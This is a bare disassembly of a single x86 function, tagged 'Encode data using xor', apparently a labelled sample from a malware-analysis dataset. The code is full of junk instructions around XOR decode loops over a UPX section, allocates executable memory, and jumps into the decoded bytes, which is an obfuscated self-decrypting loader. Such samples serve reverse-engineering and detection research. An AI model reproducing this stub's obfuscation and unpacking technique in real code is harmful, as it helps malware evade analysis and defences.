Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x69387982
sub edx, esi
or esi, edx
popal
add esi, 0x17226217
sub esi, 0xb11c00e9
and edx, esi
mov esi, 0
mov edx, edi
sub eax, 0x5111346c
and ebx, eax
mov ecx, edx
sub eax, 0xa429c89a
not ebx
mov eax, ebx
mov edi, ecx
or eax, eax
add eax, 1
or ebx, eax
add esi, 1
sub eax, ebx
mov ebx, 0x3b065523
cmp esi, 0x100ff65
jne 0xa789ca
or eax, ebx
and ebx, ebx
mov eax, 0x3b67e4e0
dec edx
add edx, edx
mov ecx, 0xa78796
sub esi, 1
mov eax, edi
mov ebx, 0xa7898a
sub edi, 0x31b1a7dc
sub eax, esi
add esi, eax
mov edx, dword [ecx]
not esi
mov esi, 0x896df46a
and edx, 0xff
add eax, 0x4a5a1aed
add esi, esi
xor dword [ebx], edx
sub eax, 1
add edi, eax
sub edi, 0xa488ecfb
add ebx, 1
add esi, edi
mov edi, 0x73e8624b
add ecx, 1
inc esi
not esi
cmp ebx, entry0
jl 0xa78a2d
mov eax, esi
sub esi, eax
or eax, edi
inc esi
and edi, edi
sub edi, esi
sub esi, 0xf1017b66
dec ebx
mov ecx, 0xa7898e
sub edx, 1
mov esi, 0xc35f1458
mov ecx, dword [ecx]
and edx, edi
not esi
mov ecx, dword [ecx]
mov edx, edi
mov esi, ebx
not edi
push ecx
sub edx, edi
mov edi, 0x8a7c843a
not edx
mov ecx, 0xa7898a
inc ebx
mov ebx, edi
sub esi, 1
mov ecx, dword [ecx]
sub ebx, edi
sub ebx, 1
mov ecx, dword [ecx]
or edx, esi
add edx, edi
push 0xa78992
mov edx, esi
not ebx
call ecx
not esi
sub ebx, edi
sub ebx, esi
pop ecx
not edx
add edi, edx
sub esp, 4
mov dword [esp], 0xa7899f
mov ebx, edx
mov edi, 0x5b8109a
add edx, 0x5fb6bb8f
push eax
add ebx, esi
and edx, esi
call ecx
mov esi, 0xb36a1f60
and edx, edx
push 0x40
or edx, esi
add ebx, 0xff8c6c51
mov esi, edx
push 0x3000
not edi
add esi, 1
sub esp, 4
mov dword [esp], 0x2000065a
sub edi, 1
mov esi, 0x66399462
sub edx, esi
push 0
sub edi, 0xdc0fccca
sub edx, edi
inc edx
call eax
and edx, esi
mov esi, 0x56423aa9
add eax, 0x200005cf
not edi
add esi, 0xed4cd3e0
not edx
mov ecx, 0x596fb122
sub edi, 0xbcafdb2f
inc edi
mov edx, 0x25075f68
mov dword [eax], ecx
mov edx, 0x5b144eb9
sub edx, edi
mov ecx, dword [eax]
and esi, edx
or esi, esi
add ebx, 1
cmp ecx, 0x596fb122
je 0xa78b98
mov ebx, 0
mov dword [ebx], eax
dec esi
mov esi, edx
and esi, edi
sub esi, edx
add esi, edx
and esi, edx
mov ecx, section.UPX1
not esi
sub edx, 0xa6265c52
mov edx, 0xc7559650
mov ebx, 0xa78795
or esi, esi
sub edx, 0x6f3783e1
sub edx, 0x106ece08
mov eax, 0
or edx, edx
add esi, esi
sub esi, 1
mov edi, 0xa78796
add esi, 0x3b4dd3e0
not edx
not esi
lea edi, [edi + eax]
sub esi, 1
mov esi, edx
not edx
mov edi, dword [edi]
and esi, edx
inc esi
and edi, 0xff
sub edx, esi
sub edx, esi
inc eax
add esi, 0xb6c4e2ec
add edx, esi
add esi, 0x4b0058c6
cmp eax, 0x1f4
jne 0xa78c1e
mov eax, 0
sub esi, edx
or esi, edx
not esi
add esi, esi
xor dword [ecx], edi
not edx
inc esi
add esi, 0xdf8add46
add ecx, 2
mov edx, esi
sub edx, esi
cmp ecx, ebx
jl 0xa78bd7
and esi, esi
mov esi, edx
add esi, 0xa37a5035
sub edx, esi
dec edx
sub esi, edx
mov ebx, section.UPX1
sub ecx, eax
mov eax, 0xa12b102b
sub ecx, 1
mov esi, section.UPX1
add ecx, 0x46299add
not ecx
or eax, eax
mov edi, 0xa78795
add ecx, ecx
sub eax, 0xd78da217
mov edx, 0
sub ecx, eax
inc ecx
not eax
mov dl, byte [esi]
dec eax
add eax, 0x83ac30cf
mov ecx, 0xbe55d403
mov byte [ebx], dl
mov eax, ecx
inc ecx
inc ebx
or eax, ecx
and ecx, eax
not ecx
add esi, 2
not eax
mov eax, 0xa24424f
cmp esi, edi
jle 0xa78c8a
or ecx, eax
sub eax, 0xf56b9faf
sub edx, 0x8803bbed
dec edx
sub esp, 4
mov dword [esp], 0x8dc6a0
add esi, edx
add edx, 0x88519d5a
sub edx, esi
ret